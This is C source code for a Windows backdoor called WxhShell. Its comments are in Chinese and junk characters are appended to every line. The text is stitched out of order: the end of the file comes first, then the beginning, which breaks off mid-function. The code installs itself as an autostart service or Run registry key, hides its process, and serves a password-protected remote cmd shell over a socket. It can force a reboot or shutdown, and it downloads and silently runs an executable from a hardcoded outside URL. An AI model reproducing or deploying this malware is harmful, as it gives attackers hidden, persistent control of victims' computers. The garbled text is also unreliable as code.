    if(Boot(SHUTDOWN)) <!K2xb-d^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?AyG!F  
    else { d7^:z%Eb|  
    closesocket(wsh); TxwZA  
    ExitThread(0); 6<NaME  
    } '/b,3:  
    break; DyG3|5s1R  
    } Tx0/3^\>8A  
  // 获取shell wlC_rRj~  
  case 's': { gnNMuqt  
    CmdShell(wsh); dI-=0v-|  
    closesocket(wsh); LcE!e%3  
    ExitThread(0); -n!.PsGO>  
    break; \ Yz>=rY  
  } [f.[C5f%"'  
  // 退出 x+nrdW+  
  case 'x': { f`p`c*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4eYj.=I  
    CloseIt(wsh); X~5TA)h;~  
    break; +uKlg#wqc  
    } %H~q3|z  
  // 离开 w@nN3U+  
  case 'q': { it5].A&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W )q^@6[d  
    closesocket(wsh); U{h5uezD  
    WSACleanup(); '%V ;oJ"  
    exit(1); tn6\0_5n  
    break; wX#=l?,K  
        }  ,L\OhT  
  } /81Ux@,(e  
  } wz9V)_V*  
q*@7A6:FV>  
  // 提示信息 % &4sHDP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ai`fP{WlX  
} h;^h[q1'  
  } :bW}*0b-  
Yj/S(4(h?  
  return; Ngu+V  
} tu6c!o,@  
7zVaj"N(  
// shell模块句柄 k:Uyez  
int CmdShell(SOCKET sock) *@dRL3c^=  
{ aIRCz=N  
STARTUPINFO si; j?+FS`a!  
ZeroMemory(&si,sizeof(si)); r=s ,Ath  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |`U^+Nf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nC qUg_{D  
PROCESS_INFORMATION ProcessInfo; ^;<s"TJ(m)  
char cmdline[]="cmd"; jWiB_8- 6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Up*p*(d3  
  return 0; 6t *pV [  
} N/8qd_:8  
E[Tz%x=P  
// 自身启动模式 >wdR4!x!?  
int StartFromService(void) w1rB"rB?  
{ C "<l}  
typedef struct g>_6O[;t%  
{ SvAz9>N4  
  DWORD ExitStatus; V~&P<=8;Wl  
  DWORD PebBaseAddress; E3_e~yu&  
  DWORD AffinityMask; 2l{g$44  
  DWORD BasePriority; 2!-ZNd:(+  
  ULONG UniqueProcessId; TRcY!  
  ULONG InheritedFromUniqueProcessId; %QVX1\>]  
}   PROCESS_BASIC_INFORMATION; vXR-#MS`}  
+AtZltM i  
PROCNTQSIP NtQueryInformationProcess; z\oq b) a  
>9Fs)R]P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ua,Lg.z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f /&Dy'OV7  
:w#Zs)N  
  HANDLE             hProcess;  ;B^G<  
  PROCESS_BASIC_INFORMATION pbi; H"WkyvqXb  
{Lk~O)E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8 %Lq~ lk  
  if(NULL == hInst ) return 0; C^aP)& qt  
3K@dW"3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); { e<J}-/?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,`^B!U3m   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a"b9h{h@  
E O52 E|  
  if (!NtQueryInformationProcess) return 0; cnnlEw/&  
 KY!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iJZqAfG{m?  
  if(!hProcess) return 0; `D>PU@s$nT  
5:hajXd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %?<C ?.  
kmi[u8iXD_  
  CloseHandle(hProcess); ?#<Fxme  
Fs|fo-+H}k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UkG|5P`  
if(hProcess==NULL) return 0; ^IjKT  
ipQJn_:2  
HMODULE hMod; %q;3b fq@N  
char procName[255]; R."<he ;  
unsigned long cbNeeded; (i.MxG Dd  
(WVN*OR?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gLsl/G  
6ALf`:  
  CloseHandle(hProcess); 2wlrei  
WQ\'z?P  
if(strstr(procName,"services")) return 1; // 以服务启动 %+L:Gm+^g#  
4+:Q"  
  return 0; // 注册表启动 |<\o%89AM  
} 2L[/.|  
|[>`3p"&  
// 主模块 o*_[3{FU  
int StartWxhshell(LPSTR lpCmdLine) 1/j J;}  
{ TKx.`Cf m  
  SOCKET wsl; ecA:y!N  
BOOL val=TRUE; }9/30  
  int port=0; $LRvPan`  
  struct sockaddr_in door; 2IFri|;-eb  
H~i+: X=I  
  if(wscfg.ws_autoins) Install(); 7 }4T)k(a  
[D[s^<RJs  
port=atoi(lpCmdLine); =W.b7 6_  
SuB;Nb7r`  
if(port<=0) port=wscfg.ws_port; we4e>)  
8Focs p2  
  WSADATA data; 0vbn!<:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MBIt)d@Ix  
-N<s =  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S)iv k x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); beRpA;  
  door.sin_family = AF_INET; B[Fx2r`0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &$lz@Z  
  door.sin_port = htons(port); R 3TdQ6j  
*TfXMN ?w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { awB1ryrOF  
closesocket(wsl); 4'Z=T\:  
return 1; !>TVDN>  
} 4`o_r%   
M`-#6,m3  
  if(listen(wsl,2) == INVALID_SOCKET) { :XxsDD  
closesocket(wsl); skh6L!6*<  
return 1; (@B gsY  
} E y1mlW  
  Wxhshell(wsl); 1&ukKy,[  
  WSACleanup(); -8-  
v(W$\XH  
return 0; ^ b{0|:  
J(ZYoJ  
} -%E+Yl{v  
3Wa^:8N  
// 以NT服务方式启动 oS 7q#`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) luACdC  
{ Obgn?TAVX  
DWORD   status = 0; 8~YhT]R=  
  DWORD   specificError = 0xfffffff; gtHWd;1&f  
v#q7hw=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Wz)s#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x9bfH1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X!ZUR^  
  serviceStatus.dwWin32ExitCode     = 0; tV%:sk^d  
  serviceStatus.dwServiceSpecificExitCode = 0; a6wPkf7-H  
  serviceStatus.dwCheckPoint       = 0; sMlY!3{I x  
  serviceStatus.dwWaitHint       = 0; F.i*'x0u  
wHq*)7#h#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >B<jR$`6@  
  if (hServiceStatusHandle==0) return; 2a'b}<|[(  
ekND>Qjj  
status = GetLastError(); z$ZG`v>0  
  if (status!=NO_ERROR) ~2+J]8@I]  
{ PN:/lIO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m X{_B!j^  
    serviceStatus.dwCheckPoint       = 0; R*VRxQ,h6+  
    serviceStatus.dwWaitHint       = 0; :*u .=^  
    serviceStatus.dwWin32ExitCode     = status; 9gVu:o 1/  
    serviceStatus.dwServiceSpecificExitCode = specificError; &\#If:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S+ gzl#r  
    return; a'u:1C^\  
  } s_S[iW`l=  
Vr@I9W;D#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N9QHX  
  serviceStatus.dwCheckPoint       = 0; 0}}b\!]9  
  serviceStatus.dwWaitHint       = 0; `n7*6l<k~4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .xo#rt9_"=  
} m>B^w)&C  
hg[ob+"  
// 处理NT服务事件,比如:启动、停止 c}v>Mx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }iZO0C  
{ j;6kN-jx  
switch(fdwControl) 2XI%z4\)!  
{ UfIH!6Q  
case SERVICE_CONTROL_STOP: aqJ>l}{  
  serviceStatus.dwWin32ExitCode = 0; C ioM!D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @px2/x  
  serviceStatus.dwCheckPoint   = 0; 1ml>  
  serviceStatus.dwWaitHint     = 0; wXI6KN-  
  { YaU)66=u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vncLB&@7  
  } x8 :  
  return; 8 -]\C  
case SERVICE_CONTROL_PAUSE: V| 9<*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uv,&/ ,;S  
  break; 9jW/"  
case SERVICE_CONTROL_CONTINUE: M9so3L<N0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {WJ9!pA!lk  
  break; }8tD|t[  
case SERVICE_CONTROL_INTERROGATE: Zpc R   
  break; 3"afrA  
}; h[H FZv~{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $p? gai{o  
} -=5]B ;  
$bSnbU <  
// 标准应用程序主函数 |uL"/cMW7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :+Ti^FF`w  
{ R8ZI}C1  
o&WKk5$  
// 获取操作系统版本 'PiQ|Nnb|  
OsIsNt=GetOsVer(); d0ZbusHHb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )~@iM.}S2  
%z1y3I|`[t  
  // 从命令行安装 MoAZ!cF8  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6[wAX  
c*R?eLt/  
  // 下载执行文件 G_OLUuK?C  
if(wscfg.ws_downexe) { mtfEK3?2*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Rf*cW&}%  
  WinExec(wscfg.ws_filenam,SW_HIDE); v:.`~h/b  
} \ k&(D*u  
o m9zb&{tu  
if(!OsIsNt) { Ib V 7}  
// 如果时win9x,隐藏进程并且设置为注册表启动 DVC<P}/  
HideProc(); Y243mq-  
StartWxhshell(lpCmdLine); =6Z$nc R  
} ]H[%PQ r`Z  
else :x*#RnRr.  
  if(StartFromService()) )S~ySiJ<U  
  // 以服务方式启动 ]CL t Km  
  StartServiceCtrlDispatcher(DispatchTable); aG&ay3[&  
else /D@(o`a  
  // 普通方式启动 8":O\^i  
  StartWxhshell(lpCmdLine); _pZ2^OO@  
)GgO=J:o  
return 0; .MUoNk!  
} jbrx)9Z+%  
aJ;6!WFW  
m~$S]Wf  
w&U>w@H^  
=========================================== 4<c #3]  
(>.+tq}  
Fkq;Q  
`)Z+]5:  
Cx,)$!1  
Pgdv)i3  
" BZUA/;Hz &  
8y$c\Eu(mF  
#include <stdio.h> )$Tcip`  
#include <string.h> O C qI  
#include <windows.h> A08b=S  
#include <winsock2.h> FEoH$.4  
#include <winsvc.h> fG{ 9doUD  
#include <urlmon.h> U`25bb1W j  
8AX+s\N  
#pragma comment (lib, "Ws2_32.lib") T][r'jWQ  
#pragma comment (lib, "urlmon.lib") |~V`Es +j  
'5V#sq;Z  
#define MAX_USER   100 // 最大客户端连接数 k2 axGq  
#define BUF_SOCK   200 // sock buffer %+A z X  
#define KEY_BUFF   255 // 输入 buffer o>G^)aRa  
*Y!c6eA  
#define REBOOT     0   // 重启 +xGz~~iNh  
#define SHUTDOWN   1   // 关机 4=b{k,kzgA  
Adyv>T9  
#define DEF_PORT   5000 // 监听端口 ~sk{O%OI  
(K"8kQLY  
#define REG_LEN     16   // 注册表键长度 WZ#|?pJ  
#define SVC_LEN     80   // NT服务名长度 jjbw+  
moe5H  
// 从dll定义API B^{87YR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Po+tk5}''5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c <T'_93  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CHZjK(a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zc,kHO|  
F| ib=_)3  
// wxhshell配置信息 $IdY(f:.:5  
struct WSCFG { ,:G3Y )  
  int ws_port;         // 监听端口 @1p ,  
  char ws_passstr[REG_LEN]; // 口令 BAQ;.N4  
  int ws_autoins;       // 安装标记, 1=yes 0=no pN]$|#%q(  
  char ws_regname[REG_LEN]; // 注册表键名 9S _N*wC.  
  char ws_svcname[REG_LEN]; // 服务名 }'o[6#_*X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hhZU E]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \K,piCVViN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KR4vcI[4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lMcSe8LBQa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E#cW3\)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1zz.`.R2U  
G0u3*.  
}; s</llJ$  
.W9/*cZV0  
// default Wxhshell configuration JW`Kh*,~<  
struct WSCFG wscfg={DEF_PORT, wd=xs7Dz<p  
    "xuhuanlingzhe", 1|PmZPKq9n  
    1, I{V1Le4?  
    "Wxhshell", /p&)bL  
    "Wxhshell", 6BPZ2EQ  
            "WxhShell Service", Rlq6I?S+  
    "Wrsky Windows CmdShell Service", N]p|c3D  
    "Please Input Your Password: ", 8/4Gr8 o  
  1, wG&+*,}  
  "http://www.wrsky.com/wxhshell.exe", VB?mr13}G  
  "Wxhshell.exe" N$j I&SI?}  
    }; _`Abz2s  
o4Bl!7U  
// 消息定义模块 E?& x5?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )kE(%q:*P$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {]a 6o[}u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /@*J\0h(-  
char *msg_ws_ext="\n\rExit."; .)wj{(>TJ  
char *msg_ws_end="\n\rQuit."; F! |?S:X  
char *msg_ws_boot="\n\rReboot..."; 4't@i1Ll(  
char *msg_ws_poff="\n\rShutdown..."; C~5-E{i  
char *msg_ws_down="\n\rSave to "; P'nbyF  
9t$%Tc#Z  
char *msg_ws_err="\n\rErr!"; yk5T"# '+  
char *msg_ws_ok="\n\rOK!"; YS_9M Pi  
x%;Q /7&$  
char ExeFile[MAX_PATH]; $=97M.E  
int nUser = 0; >:ZlYZ6sI  
HANDLE handles[MAX_USER]; kRk=8^."By  
int OsIsNt; zn4Yo  
I:~L!%  
SERVICE_STATUS       serviceStatus; wmNc)P4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aE_)iE|  
3,K*r"=  
// 函数声明 l; e&p${P  
int Install(void); >e4  
int Uninstall(void); ,H3C\.%w\  
int DownloadFile(char *sURL, SOCKET wsh); (VPT% l6  
int Boot(int flag); Yg;g!~   
void HideProc(void); dwc$?Bg,5  
int GetOsVer(void); JuGQS24  
int Wxhshell(SOCKET wsl); |\/0S  
void TalkWithClient(void *cs); zr0_SCh;2  
int CmdShell(SOCKET sock); /WDz;,X  
int StartFromService(void); h>Z$ n`T  
int StartWxhshell(LPSTR lpCmdLine); |U_48  
S|A?z)I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7eh|5e$@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |wf:|%  
Qa,^;hZWS  
// 数据结构和表定义 n\2VrUQ)M  
SERVICE_TABLE_ENTRY DispatchTable[] = cLQvzd:h=  
{ zXB]Bf3TH  
{wscfg.ws_svcname, NTServiceMain}, p6V`b'*>  
{NULL, NULL} ,EgIH%* g  
}; {-rK:*yP'u  
6TE R Q  
// 自我安装 cJ&e^$:Er  
int Install(void) Av*R(d=`  
{ 6,'!z ?d%  
  char svExeFile[MAX_PATH]; @=c{GAj  
  HKEY key; kWfNgu$xK  
  strcpy(svExeFile,ExeFile); NgKbf vt  
&)vX7*j  
// 如果是win9x系统,修改注册表设为自启动 cU25]V^{\  
if(!OsIsNt) { P,"z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KJa?TwnC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GLb}_-|  
  RegCloseKey(key); h^P>pI~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m_H$fioha,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b`n+[UCPtn  
  RegCloseKey(key); >GiM?*cC  
  return 0; r*/Pyh  
    } !oU$(,#9  
  } x5m .MQ J  
} ]lF'o&v]  
else { %E7+W{?*1  
US)wr  
// 如果是NT以上系统,安装为系统服务 yI9l*'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6|#^4D)  
if (schSCManager!=0) vi6EI wZG  
{ wLD/#Hfi7  
  SC_HANDLE schService = CreateService #VC^><)3  
  ( &Ko}Pv  
  schSCManager, )2oWoZ vi9  
  wscfg.ws_svcname, |xH"Xvp:  
  wscfg.ws_svcdisp, -p>KFHj6  
  SERVICE_ALL_ACCESS, 3V`K^X3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vi0% jsI  
  SERVICE_AUTO_START, ]Bs ?  
  SERVICE_ERROR_NORMAL, <Ebkb3_  
  svExeFile, fHf+!  
  NULL, .i/]1X*;r^  
  NULL, $B4}('&4FQ  
  NULL, `QR2!W70o3  
  NULL, f? F i{m  
  NULL !23W=N}82  
  ); d{0 w4_x  
  if (schService!=0) 8N(bLGUG  
  { %_1~z[Dv  
  CloseServiceHandle(schService); kTex>1W;  
  CloseServiceHandle(schSCManager); *6Rl[eXS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "yc/8{U  
  strcat(svExeFile,wscfg.ws_svcname); eEn_aX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |Xd[%W)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qd!;CoOmZs  
  RegCloseKey(key); 44?5]C7  
  return 0; K 3&MR=#^  
    } 1l\O9D +$  
  } O6OP{sb  
  CloseServiceHandle(schSCManager); _OcgD<  
} ;ijJ%/  
} pP?J(0Q~  
T] EXm/  
return 1; P,iLqat  
} {H $\,  
SlZL%C;  
// 自我卸载 ER5Q` H  
int Uninstall(void) qPE(Lt1  
{ Ph]e\  
  HKEY key; $Miii`VS9  
%8$JL=c  
if(!OsIsNt) { 2{p`"xX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \\hZlCV,  
  RegDeleteValue(key,wscfg.ws_regname); Lj(hk @  
  RegCloseKey(key); ;y6Jo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5vbnO]8  
  RegDeleteValue(key,wscfg.ws_regname); FEaf&'G]  
  RegCloseKey(key); #Opfc8pm'  
  return 0; *&UVr  
  } g,y`[dr  
} )\^o<x2S  
} :`3b|u=KZ  
else { }jiqUBn%  
kc8GnKM&mc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qR]4m]o  
if (schSCManager!=0) UUb!2sO  
{ YhLtf(r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /gy;~eB01  
  if (schService!=0) (:+IS W  
  { &O0+\A9tP  
  if(DeleteService(schService)!=0) { w,3`Xq@  
  CloseServiceHandle(schService); bHS2;K~  
  CloseServiceHandle(schSCManager); K!I]/0L  
  return 0; .2xypL8(  
  }  TWx<)  
  CloseServiceHandle(schService); $o]zNW;X  
  } mu"]B]  
  CloseServiceHandle(schSCManager); -&,NM  
} s7xRry  
} *$# r%  
&p ;};n  
return 1; 1LPfn(  
} 'b661,+d  
}lpcbm  
// 从指定url下载文件 zo} SS[  
int DownloadFile(char *sURL, SOCKET wsh) N8D'<BUC  
{ :WA o{|&  
  HRESULT hr; j{U-=[$'  
char seps[]= "/"; /=e[(5X|O  
char *token; sWavxh8A  
char *file; x ;Gyo  
char myURL[MAX_PATH]; n+Ag |.,|  
char myFILE[MAX_PATH]; w,}}mC)\*  
n"FOCcTIs  
strcpy(myURL,sURL); [7I|8  
  token=strtok(myURL,seps); ljt1:@SN(  
  while(token!=NULL) GE5@XT  
  { >P0AGZ  
    file=token; uhc0,V;S  
  token=strtok(NULL,seps); GV[%P  
  } 7abq3OK+`  
Z:/S@ry  
GetCurrentDirectory(MAX_PATH,myFILE); KG3*~G  
strcat(myFILE, "\\"); X2@o"xU  
strcat(myFILE, file); 5\4>H6  
  send(wsh,myFILE,strlen(myFILE),0); <q[ *kr  
send(wsh,"...",3,0); t&P5Zw*B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M;iaNL(  
  if(hr==S_OK) *|E@ 81s#  
return 0; f "&q~V4?  
else rXm!3E6JL  
return 1; B:mlBSH  
.9^;? Ts  
} +'n1?^U  
8V|-BP5^  
// 系统电源模块 %BG5[ XQ7  
int Boot(int flag) <M&]*|q>g%  
{ E,6E-9  
  HANDLE hToken; rk. UW  
  TOKEN_PRIVILEGES tkp; aSF&^/j  
teB {GR  
  if(OsIsNt) { $`=?Nb@@#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O,OGq0c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "mH^Owai  
    tkp.PrivilegeCount = 1; ^@19cU?q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  aZ0H)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {VNeh  
if(flag==REBOOT) { D$mrnm4d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) " LxJPt\  
  return 0; @2$8o]et  
} ^Q OvK>W<  
else { BuvBSLC~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zp9 ?Ia  
  return 0; =f|>7m.p  
} _$cBI_eA7  
  } HkV/+ {;S~  
  else { CTP%  
if(flag==REBOOT) { |n|2)hC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5-3gsy/Mo  
  return 0; ^7''x,I  
} mY AFruN  
else { @'rO=(-b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f7W=x6Z4  
  return 0; Z*QRdB%,  
} N-Z 9  
} tV,zz;* Oe  
&%bX&;ECzf  
return 1; ]e3nnS1*.  
} FD-)nv2:  
<5#e.w  
// win9x进程隐藏模块 Rd$<R  
void HideProc(void) <'B^z0I,  
{ c"$_V[m  
n$?oZ *;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }rQ*!2Y?  
  if ( hKernel != NULL ) i :$g1  
  { \mDm *UuG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2~4C5@SxL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8`~]9ej  
    FreeLibrary(hKernel); evR=Z\ _  
  } W6iIL:sp  
d{m0uX56  
return; <>:kAT,sP  
} pqr" x2=.  
cs5Xd  
// 获取操作系统版本 MDq@:t  
int GetOsVer(void) ,]Ma ,2  
{ P}I*SV0  
  OSVERSIONINFO winfo; B dKwWgi+a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); **"P A8   
  GetVersionEx(&winfo); `WT7w']NT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \[&]kPcDl  
  return 1; Cf N; `  
  else X ,   
  return 0; Cnr48ukq  
} TGLXvP& \  
b2Hpuej  
// 客户端句柄模块 f1{ckHAY55  
int Wxhshell(SOCKET wsl) L;  ~=(  
{ !v`=EF.  
  SOCKET wsh; cjW]Nw  
  struct sockaddr_in client; vKt_z@{{L  
  DWORD myID; 6\K)\  
IW#(ICeb  
  while(nUser<MAX_USER) #n"/9%35f`  
{ +x2xQ8#|~~  
  int nSize=sizeof(client); GND[f}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <b\urtoJ  
  if(wsh==INVALID_SOCKET) return 1; smU+:~  
|H4'*NP"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iI1t P  
if(handles[nUser]==0) Ame%:K!t  
  closesocket(wsh); `jHGNi  
else 'FhnSNT(4=  
  nUser++; bsm,lx]bH^  
  } e'Pa@]VaC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k y98/6  
v+G:,Tc"  
  return 0; Sf8d|R@O  
} }NXESZYoi  
2~<0<^j/]  
// 关闭 socket :]s] =q&]  
void CloseIt(SOCKET wsh) ?2TH("hV$  
{ Z7^}G=*  
closesocket(wsh); 9& j]  
nUser--; !iw 'tHhR  
ExitThread(0); -ZB"Yg$l  
} -,dQ&Qf?  
D |o@(V  
// 客户端请求句柄 >g&`g}xZQ  
void TalkWithClient(void *cs) `{Jb{L@f  
{ x _K%  
~ #CCRUhM  
  SOCKET wsh=(SOCKET)cs; ]`prDw'  
  char pwd[SVC_LEN]; X d6y7s  
  char cmd[KEY_BUFF]; ]YP?bP,:  
char chr[1]; c0 |p34  
int i,j; tp<VOUa  
pA'A<|)K0  
  while (nUser < MAX_USER) { ?la_ +;m  
<B`V  
if(wscfg.ws_passstr) { ^U}0D^jDeE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !UTJ) &  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MQ44uHJ  
  //ZeroMemory(pwd,KEY_BUFF); 5qy}~dQ  
      i=0; 6{'6_4;Fv(  
  while(i<SVC_LEN) { d3GK.8y_z  
7,TWCVap  
  // 设置超时 T8-$[ 2  
  fd_set FdRead; :3f2^(b~^  
  struct timeval TimeOut; ^&iV%vQ[  
  FD_ZERO(&FdRead); y`\Mhnj  
  FD_SET(wsh,&FdRead); :!$z1u8R  
  TimeOut.tv_sec=8; ">3@<f>  
  TimeOut.tv_usec=0; I8?[@kg5b'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TpgBS4q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N+5 ^h(~  
YW<2:1A|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F6p1 VFs  
  pwd=chr[0]; WFP\;(YV  
  if(chr[0]==0xd || chr[0]==0xa) { sd53 _s V  
  pwd=0; 3;NRW+  
  break; rLxX^[Fp3  
  } Ef.4.iDJrR  
  i++; Br5Io=/wg  
    } W1 Qc1T8  
>nQ yF  
  // 如果是非法用户,关闭 socket 5>)jNtZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l{9h8]^  
} 9#ft;c  
I?>T"nV +'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AvZ) 1(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wg^cj:&`u  
dH|^\IQ  
while(1) { :N*T2mP  
=joXP$n^  
  ZeroMemory(cmd,KEY_BUFF); VU9P\|c@<  
zF&UdS3  
      // 自动支持客户端 telnet标准   2< Bv=B  
  j=0; @88i/ Z_  
  while(j<KEY_BUFF) { 1i:g /H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p^P y,  
  cmd[j]=chr[0]; "Q{~Bj~  
  if(chr[0]==0xa || chr[0]==0xd) { 4/?}xD|?  
  cmd[j]=0; N?0y<S ?!  
  break; :-La $I>  
  } acQN pT  
  j++; 4iqmi<[("  
    } F|TMpH/  
"R@N|Qx'  
  // 下载文件 #Hi]&)p_  
  if(strstr(cmd,"http://")) { o '/C$E4W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;bZ*6-\!-  
  if(DownloadFile(cmd,wsh)) Aq%^>YAp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NxO^VUD  
  else p"IS"k%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,$zlw\  
  } m\M+pjz  
  else { P lH`(n#  
